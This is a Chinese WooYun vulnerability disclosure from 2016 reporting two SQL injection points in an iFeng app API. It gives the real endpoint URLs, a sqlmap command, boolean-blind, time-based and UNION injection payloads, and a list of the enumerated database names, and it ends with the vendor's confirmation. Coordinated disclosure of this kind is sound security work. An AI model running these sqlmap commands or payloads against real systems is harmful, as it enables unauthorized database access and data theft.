当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0194015

漏洞标题:凤凰网某APP存在两处SQL注入

相关厂商:凤凰网

漏洞作者: null_z

提交时间:2016-04-08 19:31

修复时间:2016-05-26 15:30

公开时间:2016-05-26 15:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-08: 细节已通知厂商并且等待厂商处理中
2016-04-11: 厂商已经确认,细节仅向厂商公开
2016-04-21: 细节向核心白帽子及相关领域专家公开
2016-05-01: 细节向普通白帽子公开
2016-05-11: 细节向实习白帽子公开
2016-05-26: 细节向公众公开

简要描述:

。。。

详细说明:

注入点一 http://appapi.yc.ifeng.com/web/store.php?a=announcement&token=8e7bab8d33&ct=iOS&pos=1*
注入参数 pos
注入点二 http://appapi.yc.ifeng.com/web/qy_comments.php?a=shuping_index&articleid=1
注入参数 articleid

sqlmap -u "http://appapi.yc.ifeng.com/web/store.php?a=announcement&token=8e7bab8d33&ct=iOS&pos=1*" --dbms=mysql --random-agent --dbs


屏幕快照 2016-04-08 16.55.57.png

漏洞证明:

16个数据库数据真多。。

sqlmap identified the following injection point(s) with a total of 37 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://appapi.yc.ifeng.com:80/web/store.php?a=announcement&token=8e7bab8d33&ct=iOS&pos=1 AND 7276=7276
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://appapi.yc.ifeng.com:80/web/store.php?a=announcement&token=8e7bab8d33&ct=iOS&pos=1 AND (SELECT * FROM (SELECT(SLEEP(5)))aJyQ)
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: http://appapi.yc.ifeng.com:80/web/store.php?a=announcement&token=8e7bab8d33&ct=iOS&pos=1 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a626b71,0x4855425a6f4d6174574b416878684448534e446d53534f4e4164474c62446d436447554572436c4a,0x7162767a71),NULL,NULL,NULL,NULL-- -
---
back-end DBMS: MySQL 5.0.12
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://appapi.yc.ifeng.com:80/web/store.php?a=announcement&token=8e7bab8d33&ct=iOS&pos=1 AND 7276=7276
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://appapi.yc.ifeng.com:80/web/store.php?a=announcement&token=8e7bab8d33&ct=iOS&pos=1 AND (SELECT * FROM (SELECT(SLEEP(5)))aJyQ)
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: http://appapi.yc.ifeng.com:80/web/store.php?a=announcement&token=8e7bab8d33&ct=iOS&pos=1 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a626b71,0x4855425a6f4d6174574b416878684448534e446d53534f4e4164474c62446d436447554572436c4a,0x7162767a71),NULL,NULL,NULL,NULL-- -
---
back-end DBMS: MySQL >= 5.0.0
available databases [16]:
[*] author
[*] coreseek
[*] cr_debug
[*] information_schema
[*] kettle
[*] mobile
[*] mysql
[*] newuc
[*] novel
[*] pay
[*] performance_schema
[*] support
[*] test
[*] ucenter
[*] uch
[*] viewscount

修复方案:

intval

版权声明:转载请注明来源 null_z@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-04-11 15:21

厂商回复:

非常感谢您对凤凰网信息安全的帮助。

最新状态:

暂无


漏洞评价:

评价